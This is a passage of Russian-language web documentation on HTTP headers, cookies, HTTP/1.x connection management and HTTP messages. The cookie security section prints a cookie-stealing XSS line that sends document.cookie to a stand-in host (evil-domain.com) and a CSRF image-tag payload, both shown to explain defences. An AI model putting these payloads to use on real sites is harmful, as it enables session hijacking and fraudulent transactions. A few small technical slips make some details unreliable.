 Определяет метод аутентификации, который должен использоваться для доступа к ресурсам на прокси-сервере.
 **`Proxy-Authorization` (en-US)**
 Содержит учётные данные для аутентификации агента пользователя с прокси-сервером.

Ниже перечислены основные HTTP заголовки с кратким описанием:

| Заголовок | Описание | Подробнее | Стандарт |
| --- | --- | --- | --- |
| `Accept` | Список MIME типов, которые ожидает клиент. | HTTP Content Negotiation | HTTP/1.1 |
| `Accept-CH`

Non-standard
 |
 Список конфигурационных данных, которые могут быть учтены сервером при
 выборе соответствующего ответа клиенту.
  | HTTP Client Hints |  |
| `Accept-Charset` | Список кодировок, которые ожидает клиент. | HTTP Content Negotiation | HTTP/1.1 |
| `Accept-Features` |  | HTTP Content Negotiation | RFC 2295, §8.2 |
| `Accept-Encoding` | Список форматов сжатия данных, которые поддерживает клиент. | HTTP Content Negotiation | HTTP/1.1 |
| `Accept-Language` | Определяет языковые предпочтения клиента. | HTTP Content Negotiation | HTTP/1.1 |
| `Accept-Ranges` |  |  |  |
| `Access-Control-Allow-Credentials (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Allow-Origin (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Allow-Methods (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Allow-Headers (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Max-Age (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Expose-Headers (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Request-Method (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Access-Control-Request-Headers (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) | W3C Cross-Origin Resource Sharing |
| `Age (en-US)` |  |  |  |
| `Allow (en-US)` |  |  |  |
| `Alternates` |  | HTTP Content Negotiation | RFC 2295, §8.3 |
| `Authorization` |  |  |  |
| `Cache-Control` |  | HTTP Caching FAQ (en-US) |  |
| `Connection` |
 Определяет, остаётся ли сетевое соединение открытым после завершения
 текущей транзакции (запроса).
  |  |  |
| `Content-Encoding` |  |  |  |
| `Content-Language` |  |  |  |
| `Content-Length` |  |  |  |
| `Content-Location (en-US)` |  |  |  |
| `Content-MD5` |  | Не реализовано (смотрите Firefox bug 232030) |  |
| `Content-Range (en-US)` |  |  |  |
| `Content-Security-Policy (en-US)` | Реализует механизм защиты от угроз межсайтового выполнения скриптов. | CSP (Content Security Policy) | W3C Content Security Policy |
| `Content-Type` | Позволяет клиенту определить MIME тип документа. |  |  |
| `Cookie (en-US)` |  |  | RFC 2109 |
| `DNT` |
 With a value of 1, indicates that the user explicitly opts out of any
 form of online tracking.
  |
 Supported by Firefox 4, Firefox 5 for mobile, IE9, and a few major
 companies.
  | Tracking Preference Expression (DNT) |
| `Date` |  |  |  |
| `ETag` |  | HTTP Caching FAQ (en-US) |  |
| `Expect` |  |  |  |
| `Expires` |  | HTTP Caching FAQ (en-US) |  |
| `From (en-US)` |  |  |  |
| `Host` |  |  |  |
| `If-Match` |  |  |  |
| `If-Modified-Since` |  | HTTP Caching FAQ (en-US) |  |
| `If-None-Match (en-US)` |  | HTTP Caching FAQ (en-US) |  |
| `If-Range (en-US)` |  |  |  |
| `If-Unmodified-Since` |  |  |  |
| `Last-Event-ID` |
 Содержит идентификатор последнего события полученного клиентом от
 сервера в предыдущем HTTP запросе. Используется для восстановления
 синхронизации потока `text/event-stream`.
  | Server-Sent Events (en-US) | Server-Sent Events spec |
| `Last-Modified` |  | HTTP Caching FAQ (en-US) |  |
| `Link (en-US)` |
 Содержит ссылки на связанные ресурсы и определяет их отношение к
 отправленному документу.
  |
 For the `rel=prefetch` case, see
 Link Prefetching FAQ (en-US)
 |
 Introduced in
 HTTP 1.1's RFC 2068, section 19.6.2.4, it was removed in the final
 HTTP 1.1 spec, then reintroduced, with some extensions, in
 RFC 5988
 |
| `Location (en-US)` |  |  |  |
| `Max-Forwards (en-US)` |  |  |  |
| `Negotiate` |  | HTTP Content Negotiation | RFC 2295, §8.4 |
| `Origin (en-US)` |  | HTTP Access Control (en-US)
 and
 Server Side Access Control (en-US) |
 More recently defined in the
 Fetch spec
 (see Fetch API.) Originally
 defined in
 W3C Cross-Origin Resource Sharing |
| `Pragma` |  |
 for the pragma: nocache value see
 HTTP Caching FAQ (en-US) |  |
| `Proxy-Authenticate (en-US)` |  |  |  |
| `Proxy-Authorization (en-US)` |  |  |  |
| `Range` |  |  |  |
| `Referer` |
 Содержит URL-адрес ресурса, из которого был запрошен обрабатываемый
 запрос. Если запрос поступил из закладки, прямого ввода адреса
 пользователем или с помощью других методов, при которых исходного
 ресурса нет, то этот заголовок отсутствует или имеет значение
 "about:blank".

 Это ошибочное имя заголовка (referer, вместо referrer) было введено
 в спецификацию HTTP/0.9, и ошибка должна была быть сохранена в более
 поздних версиях протокола для совместимости.

 |  |  |
| `Retry-After` |  |  |  |
| `Sec-Websocket-Extensions` |  |  | Websockets |
| `Sec-Websocket-Key` |  |  | Websockets |
| `Sec-Websocket-Origin` |  |  | Websockets |
| `Sec-Websocket-Protocol` |  |  | Websockets |
| `Sec-Websocket-Version` |  |  | Websockets |
| `Server (en-US)` |  |  |  |
| `Set-Cookie` |  |  | RFC 2109 |
| `Set-Cookie2 (en-US)` |  |  | RFC 2965 |
| `Strict-Transport-Security` |  | HTTP Strict Transport Security (en-US) | IETF reference |
| `TCN` |  | HTTP Content Negotiation | RFC 2295, §8.5 |
| `TE (en-US)` |  |  |  |
| `Trailer (en-US)` |
 lists the headers that will be transmitted after the message body, in a
 trailer block. This allows servers to compute some values, like
 `Content-MD5:` while transmitting the data. Note that the
 `Trailer:` header must not list the
 `Content-Length:,` `Trailer:` or
 `Transfer-Encoding:` headers.
  |  | RFC 2616, §14.40 |
| `Transfer-Encoding (en-US)` |  |  |  |
| `Upgrade (en-US)` |  |  |  |
| `User-Agent` |  |
 for Gecko's user agents see the
 User Agents Reference (en-US) |  |
| `Variant-Vary` |  | HTTP Content Negotiation | RFC 2295, §8.6 |
| `Vary` |
 lists the headers used as criteria for choosing a specific content by
 the web server. This server is important for efficient and correct
 caching of the resource sent.
  | HTTP Content Negotiation
 &
 HTTP Caching FAQ (en-US) |  |
| `Via (en-US)` |  |  |  |
| `Warning (en-US)` |  |  |  |
| `WWW-Authenticate (en-US)` |  |  |  |
| `X-Content-Duration` |  | Configuring servers for Ogg media (en-US) |  |
| `X-Content-Security-Policy` |  |
 Using
 Content Security Policy (en-US) |  |
| `X-DNSPrefetch-Control` |  | Controlling DNS prefetching (en-US) |  |
| `X-Frame-Options` |  | The XFrame-Option Response Header (en-US) |  |
| `X-Requested-With` | Often used with the value "XMLHttpRequest" when it is the case |  | Not standard |

Примечание
----------

**Примечание:** The Keep-Alive request header is not sent by Gecko 5.0; previous versions did send it but it was not formatted correctly, so the decision was made to remove it for the time being. The `Connection` or `Proxy-Connection` header is still sent, however, with the value "keep-alive".

Смотрите также
--------------

Wikipedia page on List of HTTP headers


HTTP-куки - HTTP

HTTP-куки
=========

HTTP cookie (web cookie, куки браузера) - это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер может сохранить этот фрагмент у себя и отправлять на сервер с каждым последующим запросом. Это, в частности, позволяет узнать, с одного ли браузера пришли несколько запросов (например, для аутентификации пользователя). С помощью кук можно сохранить любую информацию о состоянии, HTTP-протокол сам по себе этого делать не умеет.

Куки часто используются для:

* Управления сеансом (логины, корзины для виртуальных покупок)
* Персонализации (пользовательские предпочтения)
* Трекинга (отслеживания поведения пользователей)

До недавнего времени куки использовались в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API для хранения данных, это уже не так. Из-за того что куки пересылаются с каждым запросом, они могут ухудшать производительность (особенно при использовании мобильных сетей). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (`localStorage` и `sessionStorage`) и IndexedDB.

**Примечание:** Чтобы посмотреть сохранённые куки и другие хранилища данных, которые использует веб-страница, можно использовать Storage Inspector (Инспектор хранилища) в инструментах разработчика.

Создание куки
-------------

Получив HTTP-запрос, вместе с ответом сервер может отправить заголовок `Set-Cookie`. Куки обычно запоминаются браузером и посылаются в HTTP-заголовке `Cookie` (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия кук, а также срок их жизни, после которого куки не будут отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту они будут отсылаться.

### Заголовки `Set-Cookie` и `Cookie`

Заголовок `Set-Cookie` HTTP-ответа используется для отправки куки с сервера в клиентское приложение (браузер). Простой куки может задаваться так:
```

Set-Cookie: <имя-куки>=<заголовок-куки>
```

Этот заголовок с сервера даёт клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Ответ, отправляемый браузеру, содержит заголовок `Set-Cookie`, и куки запоминается браузером.
```

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]
```

Теперь с каждым новым запросом к серверу при помощи заголовка `Cookie` (en-US) браузер будет возвращать серверу все сохранённые ранее куки.
```

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
```

### Сессионные cookie

Простой cookie, пример которого приведён выше, представляет собой сессионный *cookie* (*session cookie*) - такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты `Expires` или `Max-Age` для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

### Постоянные cookies

*Постоянные cookie* (*permanent cookies*) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут `Expires`) или после определённого интервала времени (атрибут `Max-Age`).
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
```

### `Secure` ("безопасные") и `HttpOnly` куки

"Безопасные" (secure) куки отсылаются на сервер только тогда, когда запрос отправляется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг `secure` никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом `Secure`.

Куки HTTPonly не доступны из JavaScript через свойства `Document.cookie` API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех кук, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг `HttpOnly`.
```

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
```

### Область видимости куки

Директивы `Domain` и `Path` определяют область видимости куки, то есть те URL-адреса, к которым куки будут отсылаться.

#### Атрибут Domain

Атрибут `Domain` указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.

Например, если задано `Domain=mozilla.org`, то куки включены и в поддоменах, например, в `developer.mozilla.org`.

#### Атрибут Path

Атрибут `Path` указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка `Cookie`. Символ %x2F ("/") интерпретируется как разделитель в URL-пути, подпути также будут учитываться.

Если задан `Path=/docs`, то совпадать будут следующие пути:

* `/docs`
* `/docs/`
* `/docs/Web/`
* `/docs/Web/HTTP`

А эти пути совпадать не будут:

* `/`
* `/docsets`
* `/fr/docs`

#### Куки `SameSite`

Куки отправляются на сервер при любых запросах, даже если запрашивается статический ресурс с чужого сервера, то есть если происходит межсайтовый запрос. Например, если страница сайта site.com содержит изображение сайта site.net, при запросе изображения в запросе будут отправлены все куки пользователя для site.net. Чтобы ограничить отправку кук только тому сайту, которому они принадлежат, используют атрибут SameSite.

C помощью атрибута `SameSite` можно указать, когда и как отправлять куки с межсайтовыми запросами (где сайт определяется комбинацией домена и схемы `http:` или `https:`). В некоторой степени этот атрибут защищает от межсайтовой подделки запроса (CSRF). `SameSite` может принимать три возможных значения: `Strict`, `Lax` и `None`.

С атрибутом `Strict` куки будут отправляться только тому сайту, которому эти куки принадлежат. Атрибут `Lax` работает похоже, но куки будут отправляться также при навигации на тот сайт, которому принадлежат куки. Например, при переходе по ссылке с внешнего сайта. Атрибут `None` отключает ограничение на отправку кук для межсайтовых запросов, но только в безопасном контексте (то есть если установлен `SameSite=None`, тогда также должен быть установлен атрибут `Secure`). Если атрибут `SameSite` не установлен, куки будут восприниматься как `Lax`.

Пример:

```js
Set-Cookie: mykey=myvalue; SameSite=Strict
```

**Примечание:** В таблице совместимости (en-US) вы можете найти информацию о том, как обрабатываются атрибуты в конкретных версиях браузеров.

#### Куки с префиксами

Из-за дизайна механизма кук сервер не может подтвердить, что куки были отправлены с защищённого источника (secure origin), или быть уверенным в том, где именно они были установлены.

Уязвимое приложение поддомена может установить куку с атрибутом `Domain`, тем самым открывая к ней доступ на всех других поддоменнах. Этот механизм может эксплуатироваться с атакой *фиксация сессии*.

**Примечание:** Ознакомьтесь со статьёй фиксация сессии (en-US), чтобы узнать об основных методах защиты от этой атаки.

Тем не менее в соответствии с принципом защита в глубину вы можете использовать *куки с префиксами*, чтобы гарантировать специфические факты о куках. Доступны два префикса:

`__Host-`

Если в куке содержится этот префикс, она будет установлена заголовком `Set-Cookie` только в том случае, если кука будет содержать атрибут `Secure` и если запрос будет отправляться из защищённого источника. Также кука не должна включать атрибут `Domain` и должна содержать атрибут `Path` со значением `/`.

`__Secure-`

Если в куке содержится этот префикс, она будет установлена заголовком `Set-Cookie` только в том случае, если кука будет содержать атрибут `Secure` и если запрос будет отправляться из защищённого источника. Защита с помощью этого префикса слабее по сравнению с префиксом `__Host-`.

Браузеры будут отклонять установку этих кук, если они не будут удовлетворять всем ограничениям. Заметьте, что куки с префиксами, созданные в рамках поддомена, будут ограничиваться только им или будут полностью игнорироваться. Так как бэкенд проверяет только куки с заранее известными именами при авторизации пользователя или валидации CSRF-токена, куки с префиксами фактически работают как защитный механизм от фиксации сессии.

**Примечание:** Бэкенд веб-приложения *обязан* обращаться по полному имени куки, включая префикс. Пользовательские агенты не удаляют префикс из имени кук перед их отправкой в HTTP-заголовке `Cookie` (en-US).

Для получения информации о статусе поддержки префиксов в разных браузерах обратитесь к статье про `Set-Cookie`.

#### Доступ из JavaScript с помощью `Document.cookie`

Куки можно создавать с помощью JavaScript, используя DOM-свойство `Document.cookie`. Также можно читать куки из JavaScript, если не был установлен атрибут `HttpOnly`.

```js
document.cookie = "yummy\_cookie=choco";
document.cookie = "tasty\_cookie=strawberry";
console.log(document.cookie);
// выведет "yummy\_cookie=choco; tasty\_cookie=strawberry"
```

Куки, созданные с помощью JavaScript, не могут содержать атрибут `HttpOnly`.

Пожалуйста, учитывайте вытекающие из этого проблемы, про которые рассказывается ниже в разделе Безопасность. Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Безопасность
------------

**Примечание:** При сохранении информации в куках имейте в виду, что у всех пользователей есть возможность просматривать и изменять их значения. В зависимости от типа приложения вы можете использовать ни о чём не говорящее имя для идентификатора кук, смысл которого будет понятен только бэкенду. Также вы можете рассмотреть возможность использования альтернативных механизмов аутентификации и конфиденциальности, например, JSON Web Tokens

Способы предотвращения атак, использующих куки:

* Используйте атрибут `HttpOnly` для предотвращения доступа к кукам из JavaScript.
* Куки, которые используются для хранения чувствительной информации, такой как аутентификационный токен, должны иметь короткое время жизни и атрибут `SameSite`, установленный в `Strict` или `Lax`. Для того чтобы узнать больше, смотрите раздел SameSite. В браузерах с поддержкой SameSite это гарантирует предотвращение отправки кук аутентификации с межсайтовыми запросами, фактически такие запросы с точки зрения бэкенда становятся неаутентифицированными.
### Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации аутентифицированного пользователя и сеанса работы. Соответственно, похищение кук из приложения может привести к захвату авторизованного сеанса пользователя. Кража кук часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости XSS (en-US).

```js
new Image().src =
  "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
```

Атрибут HttpOnly помогает уменьшить эту угрозу, перекрывая доступ к кукам из JavaScript.

### Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

В Wikipedia есть хороший пример CSRF. В сообщение, например, в чате или на форуме, включают "изображение", которое, на самом деле, представляет собой запрос к серверу банка на снятие денег:

```html
<img
 src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
```

Если вы аутентифицированны в своём банковском аккаунте, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа форума или чата с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

* Как и при XSS (en-US), важна фильтрация входящей информации.
* Для любой чувствительной операции должно запрашиваться подтверждение.
* Куки, используемые для чувствительных операций, должны иметь короткий срок действия.
* Дополнительную информацию можно получить в пользовательской инструкции по предотвращению CSRF на сайте OWASP.
Трекинг и приватность
---------------------

### Сторонние (Third-party) куки

Куки ассоциируются с определённым доменом и схемой (такой как `http:` или `https:`). Также они могут быть ассоциированы с поддоменом с помощью атрибута `Domain`. Если домен и схема кук совпадает с доменом и схемой текущей страницы, на которой вы находитесь, то их называют *собственными куками* (*first-party cookies*). Если домен и схема кук отличается от домена и схемы текущей страницы, то такие куки называют *сторонними куками* (*third-party cookies*).

Сервер, хостящий страницу, устанавливает собственные куки, но на странице могут находиться изображения и другие компоненты с других доменов (например, баннерная реклама), они в свою очередь могут устанавливать сторонние куки. Сторонние куки часто используются для рекламы и трекинга пользователей в сети. Как пример, можете посмотреть куки, которые устанавливает Google.

Третья сторона, контролирующая внедрение сторонних кук, может создать профиль пользователя на основе истории его посещений разных сайтов с помощью кук, отправляемых одним и тем же браузером с разных сайтов. Firefox по умолчанию блокирует сторонние куки, про которые известно, что они используются для трекинга пользователей. Сторонние куки (или просто куки для трекинга) могут также быть заблокированы другими настройками браузера или расширениями. Блокировка кук в некоторых ситуациях может стать причиной некорректного поведения сторонних компонентов, например, виджетов социальных сетей.

**Примечание:** Бэкенд может (и должен) устанавливать у кук атрибут SameSite (en-US) для управления отправкой кук на сторонние серверы.

### Законодательство, связанное с куки

Регулирующие акты и законодательство, покрывающие куки, включают:

* General Data Privacy Regulation (GDPR) в Европейском Союзе
* ePrivacy Directive в Европейском Союзе
* California Consumer Privacy Act в Штате Калифорния

Эти акты и директивы действуют глобально. Они применяются ко всем сайтам во Всемирной паутине, к которым пользователи из данных юрисдикций получают доступ (Европейский Союз и Калифорния, с оговоркой, что Калифорнийский закон применяется к компаниям с доходом выше 25 миллионов долларов и несколькими другими оговорками).

Эти акты и директивы включают такие требования как:

* Сообщать пользователям, что сайт использует куки.
* Давать возможность пользователям отказываться от получения всех или некоторых кук.
* Давать возможность пользователям использовать основные функции вашего сервиса без получения кук.

Могут существовать другие законодательные акты, которые применимы к вашей локальной юрисдикции. На вас лежит ответственность знать про них и следовать им. Существуют компании, которые предлагают код с "куки баннером" и берут на себя заботы о следовании законодательству, связанному с куками.

Другие способы хранения информации в браузере
---------------------------------------------

Другой способ для хранения данных в браузере — Web Storage API. Свойства window.sessionStorage и window.localStorage подобны сессионным и постоянным кукам, но позволяют хранить больше данных и никогда не отправляются на сервер. Для хранения ещё большего объёма структурированных данных может использоваться IndexedDB API или библиотеки, построенные поверх него.

Существуют техники для повторной установки кук после их удаления. Такие куки называются куки-зомби. Эти техники нарушают принципы приватности пользователей и пользовательского контроля и могут нарушать законодательства, регулирующие приватность данных, соответственно, использующий их сайт подвержен судебному разбирательству.

Читайте также
-------------

* `Set-Cookie`
* `Cookie` (en-US)
* `Document.cookie`
* `Navigator.cookieEnabled`
* SameSite cookies (en-US)
* Inspecting cookies using the Storage Inspector
* Cookie specification: RFC 6265
* Cookies, the GDPR, and the ePrivacy Directive
* HTTP cookie on Wikipedia


Connection management in HTTP/1.x - HTTP

Connection management in HTTP/1.x
=================================

Управление соединением является ключевой темой HTTP: открытие и поддержка соединения оказывает значительное влияние на производительность веб-сайтов и веб-приложений. В HTTP/1.x имеются следующие модели: *краткосрочные соединения*, *постоянные соединения* и *конвейерная обработка HTTP* (*HTTP pipelining*).

В качестве транспортного протокола, обеспечивающего связь между клиентом и сервером, HTTP по большей части использует TCP. Это краткосрочные (short-lived) соединения: при каждой отправке запроса открывается новое соединение, которое закрывается после того, как ответ получен.

Такой модели присущи проблемы в отношении производительности: ресурсы приходится затрачивать на открытие каждого соединения TCP. Клиенту и сервером необходимо обмениваться несколькими сообщениями. При отправке каждого запроса приходится считаться с запаздыванием и пропускной способностью сети. Современным веб-страницам требуется выполнять множество (десятки) запросов для передачи необходимой информации, что делает данную модель неэффективной.

В HTTP/1.1 были созданы две новые модели. Модель постоянного соединения оставляет соединение открытым между последовательными запросами, экономя время, требуемое для открытия новых соединений. Модель конвейерной обработки HTTP делает следующий шаг - она позволяет отсылать несколько запросов подряд, не дожидаясь ответа, что существенно сокращает время ожидания в сети.

![Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining.](/ru/docs/Web/HTTP/Connection_management_in_HTTP_1.x/http1_x_connections.png)

**Примечание:** В HTTP/2 внесены дополнительные модели управления соединением.

Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (hop-by-hop) а не "конец-к-концу" (end-to-end). Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлечённые в определение модели соединения, типа HTTPHeader("Connection")}} и `Keep-Alive` (en-US), являются пошаговыми заголовками, значения которых могут изменяться промежуточными узлами.

Краткосрочные соединения (Short-lived connections)
--------------------------------------------------

Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются *краткосрочные соединения* *(short-lived connections)*. Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.

TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или тёплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.

Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка `Connection`, или когда его значением является `close`). В HTTP/1.1 такая модель используется только если заголовок `Connection` посылается со значением `close`.

**Примечание:** Если речь не идёт об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.

Постоянные соединения
---------------------

Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (тёплое соединение). Для решения этих проблем была разработана концепция *постоянного соединения (persistent connection*), ещё до появления HTTP/1.1. Его также называют *соединением keep-alive*.

Постоянным называют соединение, которое остаётся открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остаётся открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок `Keep-Alive` (en-US)).

У постоянных соединений есть свои недочёты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться DoS-атаки. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.

Соединения HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку `Connection` значение, отличное от `close` - обычно `retry-after.`

В HTTP/1.1 соединения являются постоянными по умолчанию, так что этот заголовок больше не требуется (но часто добавляется в качестве защитной меры на случай, если потребуется откат к HTTP/1.0).

Конвейерная обработка в HTTP (HTTP pipelining)
----------------------------------------------

**Примечание:** Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:

* Прокси с багами все ещё встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагностировать.
* Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая RTT и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, даёт существенное улучшение не во всех случаях.
* Конвейерная обработка подвержена проблеме HOL.

По этим причинам в HTTP/2 на смену конвейерной обработке пришёл новый алгоритм, *мультиплексность (multiplexing*).

По умолчанию запросы HTTP идут последовательно. Новый запрос выдаётся только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер *увидит* следующий запрос с существенной задержкой.

Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счёт упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный MSS (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.

Не все типы запросов HTTP позволяют конвейерную обработку: только идемпотентные методы, а именно `GET`, `HEAD`, `PUT` и `DELETE`, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.

В наши дни любой удовлетворяющий требованиям HTTP/1.1 прокси или сервер должен поддерживать конвейерную обработку, хотя на практике возникает множество ограничений, поэтому ни один из современных браузеров не активирует этот режим по умолчанию.

Доменное разделение (Domain sharding)
-------------------------------------

**Примечание:** Не используйте этот устаревший метод без крайней необходимости; вместо этого переходите на HTTP/2. В HTTP/2 доменное разделение больше не требуется: соединение HTTP/2 соединение прекрасно работает с параллельными неприоритезированными запросами. Доменное разделение даже вредит производительности. Большинство реализаций HTTP/2 использует метод, называемый слиянием соединений (connection coalescing) для возврата конечного доменного разделения.

Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соединений к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от DoS со стороны сервера.

Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, `www.example.com`, он может распределить их по нескольким доменам, `www1.example.com`, `www2.example.com`, `www3.example.com`. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастёт до 18). Этот метод называют доменным разделением (*domain sharding)*.

![](/ru/docs/Web/HTTP/Connection_management_in_HTTP_1.x/httpsharding.png)

Заключение
----------

Улучшение управлением соединениями даёт существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.


Сообщения HTTP - HTTP

Сообщения HTTP
==============

HTTP сообщения - это обмен данными между сервером и клиентом. Есть два типа сообщений: ***запросы***, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера, и **ответы** от сервера.

Сообщения HTTP состоят из текстовой информации в кодировке ASCII, записанной в несколько строк. В HTTP/1.1 и более ранних версиях они пересылались в качестве обычного текста. В HTTP/2 текстовое сообщение разделяется на фреймы, что позволяет выполнить оптимизацию и повысить производительность.

Веб разработчики не создают текстовые сообщения HTTP самостоятельно - это делает программа, браузер, прокси или веб-сервер. Они обеспечивают создание HTTP сообщений через конфигурационные файлы (для прокси и серверов), APIs (для браузеров) или другие интерфейсы.

![From a user-, script-, or server- generated event, an HTTP/1.x msg is generated, and if HTTP/2 is in use, it is binary framed into an HTTP/2 stream, then sent.](/ru/docs/Web/HTTP/Messages/httpmsg2.png)

Механизм бинарного фрагментирования в HTTP/2 разработан так, чтобы не потребовалось вносить изменения в имеющиеся APIs и конфигурационные файлы: он вполне прозрачен для пользователя.

HTTP запросы и ответы имеют близкую структуру. Они состоят из:

1. Стартовой строки, описывающей запрос, или статус (успех или сбой). Это всегда одна строка.
2. Произвольного набора *HTTP заголовков,* определяющих запрос или описывающих тело сообщения.
3. Пустой строки, указывающей, что вся мета информация отправлена.
4. Произвольного тела, содержащего пересылаемые с запросом данные (например, содержимое HTML-формы ) или отправляемый в ответ документ. Наличие тела и его размер определяется стартовой строкой и заголовками HTTP.

Стартовую строку вместе с заголовками сообщения HTTP называют *головой* запроса, а его данные - *телом*.

![Requests and responses share a common structure in HTTP](/ru/docs/Web/HTTP/Messages/httpmsgstructure2.png)

Запросы HTTP
------------

### Стартовая строка

HTTP запросы - это сообщения, отправляемые клиентом, чтобы инициировать реакцию со стороны сервера. Их стартовая строка состоит из трёх элементов:

1. *Метод HTTP*, глагол (например, `GET`, `PUT` или `POST`) или существительное (например, `HEAD` или `OPTIONS`), описывающие требуемое действие. Например, `GET` указывает, что нужно доставить некоторый ресурс, а `POST` означает отправку данных на сервер (для создания или модификации ресурса, или генерации возвращаемого документа).
2. *Цель запроса*, обычно URL, или абсолютный путь протокола, порт и домен обычно характеризуются контекстом запроса. Формат цели запроса зависит от используемого HTTP-метода. Это может быть
